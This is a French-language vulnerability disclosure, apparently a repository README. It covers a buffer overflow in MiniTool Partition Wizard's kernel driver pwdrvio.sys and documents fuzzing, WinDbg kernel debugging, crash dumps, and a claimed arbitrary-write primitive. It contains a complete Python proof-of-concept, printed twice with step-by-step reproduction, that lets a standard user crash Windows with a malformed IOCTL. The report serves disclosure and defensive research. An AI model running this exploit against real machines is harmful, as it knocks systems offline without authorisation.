
Date du projet : février 2026 / Découverte d'une vulnérabilité de débordement de tampon dans le gestionnaire IOCTL du pilote du noyau. La vulnérabilité permet à un attaquant local non privilégié de corrompre la mémoire du pool du noyau, provoquant un crash immédiat du système (BSOD) et un déni de service.
Date du projet : février 2026 / Découverte d'une vulnérabilité de débordement de tampon dans le gestionnaire IOCTL du pilote noyau pwdrvio.sys. La vulnérabilité permet à un attaquant local non privilégié de corrompre la mémoire du pool noyau, déclenchant un crash immédiat du système (BSOD) et un déni de service.
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
Déni de service (DoS)
Sévérité : MOYENNE
Score CVSS 3.1 : 5.5 (DoS)
Chaîne du vecteur CVSS :
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HDébordement de tampon — Déni de service (CVSS 5.5 - MOYENNE)
Prérequis de l'attaque :
Résultats de l'exploitation : DoS - Crash immédiat du système, indisponibilité du service
Date : 5 février 2026
Activité : Fuzzing systématique du pilote noyau à l'aide d'un fuzzer Python personnalisé
Processus de découverte :
Sélection de la cible :
pwdrvio.sys comme pilote le plus ancien (horodatage : 16 juin 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0Fuzzing initial :
ctypes pour interfacer avec le piloteWriteFile/DeviceIoControl au périphérique du piloteActivation du vérificateur :
verifier /standard /driver pwdrvio.sys
Configuration du vérificateur :
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
Date : 5-6 février 2026
Activité : Mise en place d'un environnement de débogage noyau pour l'analyse des causes profondes
Procédure de configuration :
Configuration du port série VMware :
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
Configuration du système d'exploitation invité :
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
Connexion WinDbg de l'hôte :
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
Result: "Kernel Debugger connection established."
Date : 6 février 2026
Activité : Identification d'une primitive d'écriture arbitraire du noyau
Étapes d'analyse :
Analyse du module :
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
Découverte de l'instruction vulnérable :
Définition d'un point d'arrêt sur le gestionnaire d'écriture :
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
Constat crucial : Primitive d'écriture arbitraire identifiée !
RAX) à l'adresse [R11-0x10]R11 est chargé depuis la trame de pile : mov r11, qword ptr [rbp+0xB8h]Date : 6-7 février 2026
Activité : Traçage de la vulnérabilité, de l'use-after-free à une condition write-what-where
Chaîne de corruption de la mémoire :
Allocation IRP :
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
Relation des tampons :
0: kd> r rsi
rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
Analyse : Le tampon utilisateur n'est PAS directement accessible depuis la trame RBP
RBP+0xB8 ne pointe pas vers le tampon contrôlé par l'utilisateurCondition de type use-after-free :
Le pilote conserve des pointeurs pendants dans la structure IRP :
// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
Date : 8 février 2026
Activité : Découverte d'une vulnérabilité DoS autonome
Découverte :
Fuzzing des IOCTL :
0x22000d comme vulnérableMécanisme du crash :
# Vulnerable parameters
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
Comportement du pilote :
Sortie du vérificateur :
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
Emplacement : Gestionnaire IOCTL de pwdrvio.sys
IOCTL vulnérable : 0x22000d
Mécanisme de déclenchement :
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # Only 4 bytes!
fake_output_length = 8192 # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)
# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # ← Overflow!
ctypes.byref(bytes_returned), None)
Comportement du crash :
Avec le Vérificateur de pilotes activé :
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted
Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)
Process triggering crash: python.exe (standard user)
Sans le Vérificateur de pilotes :
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000
Result: Blue Screen of Death
Code :
import ctypes
from ctypes import wintypes
# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[!] MiniTool DoS...")
# 1. Connect Driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Couldnt Connect.")
return
# 2. Preperation
# IOCTL from Fuzzer
TARGET_IOCTL = 0x22000d
# Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
in_size = 1024
input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
# Output Trap: Standard 4 byte, 8192 byte in Driver
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192
bytes_returned = wintypes.DWORD(0)
print("[+] Wait for BSoD...")
# 3. Loop (Pool Corruption)
while True:
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
in_size,
real_output_buffer,
fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow
ctypes.byref(bytes_returned),
None
)
if __name__ == "__main__":
trigger_bsod()
Exploitation :
PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py
Environnement de test :
Outils requis :
Étape 1 : Vérifier l'installation du pilote
C:\> sc query pwdrvio
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
Étape 2 : Activer le Vérificateur de pilotes (facultatif mais recommandé)
REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys
REM Verify configuration
C:\> verifier /query
Verifier Flags: 0x001209bb
Standard Flags:
[X] 0x00000001 Special pool
[X] 0x00000002 Force IRQL checking
[X] 0x00000008 Pool tracking
[X] 0x00000010 I/O verification
[X] 0x00000020 Deadlock detection
[X] 0x00000080 DMA checking
[X] 0x00000100 Security checks
[X] 0x00000800 Miscellaneous checks
[X] 0x00020000 DDI compliance checking
Driver Verification List:
MODULE: pwdrvio.sys (load: 1 / unload: 0)
REM Reboot for verifier to take effect
C:\> shutdown /r /t 0
Étape 3 : Créer le script d'exploitation DoS
Enregistrer sous dos_exploit.py :
import ctypes
from ctypes import wintypes
# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD,
wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID,
wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[*] MiniTool pwdrvio.sys DoS Exploit")
print("[*] Triggering Blue Screen of Death...")
# Open device
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Failed to open driver")
print("[-] Ensure MiniTool Partition Wizard is installed")
return
print("[+] Driver opened successfully")
# Vulnerable IOCTL code
TARGET_IOCTL = 0x22000d
# Input buffer: 1024 bytes of 0xFF
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
# Output buffer: Only 4 bytes (but claim 8192!)
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value → Overflow!
bytes_returned = wintypes.DWORD(0)
print("[!] Sending malicious IOCTL...")
print("[!] System will crash in 3...2...1...")
# Trigger buffer overflow → BSOD
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
1024,
real_output_buffer,
fake_output_length, # ← Vulnerability trigger
ctypes.byref(bytes_returned),
None
)
# This line will never execute
print("[*] If you see this, the exploit failed")
if __name__ == "__main__":
trigger_bsod()
Étape 4 : Exécuter l'exploit (utilisateur standard)
C:\> whoami
desktop-lfkkhu2\standard_user
C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...
[System immediately crashes with BSOD]
Résultat attendu :
Écran bleu avec le code d'arrêt :
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
ou
SYSTEM_SERVICE_EXCEPTION (3b)
Vérification : Le crash du système confirme la vulnérabilité DoS
Logiciel MiniTool :
Product: MiniTool Partition Wizard
Version: 13.5
Installation Path: C:\Program Files\MiniTool Partition Wizard
Driver Path: C:\Windows\System32\drivers\pwdrvio.sys
Driver Date: June 16, 2009 (0x4A36F8D1)
Driver Size: 32,256 bytes
Outils de test :
WinDbg Version: 10.0.29507.1001 AMD64
Python Version: 3.x with ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard flags)
Produit principal :
Détails du pilote :
File Name: pwdrvio.sys
File Version: [Not available]
File Size: 32,256 bytes (31.5 KB)
Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature: [Signed by vendor]
Device Name: \\.\PartitionWizardDiskAccesser\0
Service Name: pwdrvio
Load Order: Boot Start (SERVICE_BOOT_START)
Autres produits MiniTool susceptibles d'utiliser le même pilote :
Remarque : Chaque produit doit être testé individuellement pour confirmation.
Testé et confirmé vulnérable :
Probablement vulnérable (non testé) :
Raison : Le pilote est compatible avec toutes les versions modernes de Windows et ne contient aucun contrôle spécifique à une version.
Ce dépôt est fourni strictement à des fins éducatives, de recherche en sécurité défensive et de reproduction de vulnérabilités dans des environnements de laboratoire contrôlés. Les informations et le code de preuve de concept sont destinés à aider les défenseurs, les chercheurs et les fournisseurs à comprendre et à corriger la vulnérabilité signalée. L'utilisation non autorisée ou malveillante de ce code contre des systèmes sans autorisation explicite peut violer les lois et réglementations applicables. L'auteur n'encourage ni ne cautionne les activités illégales et décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce matériel.
Ce rapport de divulgation de vulnérabilité est fourni pour :
Utilisations interdites :
Le chercheur a effectué tous les tests sur des systèmes lui appartenant, dans des environnements contrôlés. Aucun accès non autorisé à des systèmes tiers n'a été réalisé.
Version du rapport : 1.0
Dernière mise à jour : 9 février 2026
Analyse de l'état des registres :
0: kd> r
rax=fffff805315f1364 ← Kernel code pointer
r11=ffffe60f84c38750 ← Destination address (controlled via stack)
rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here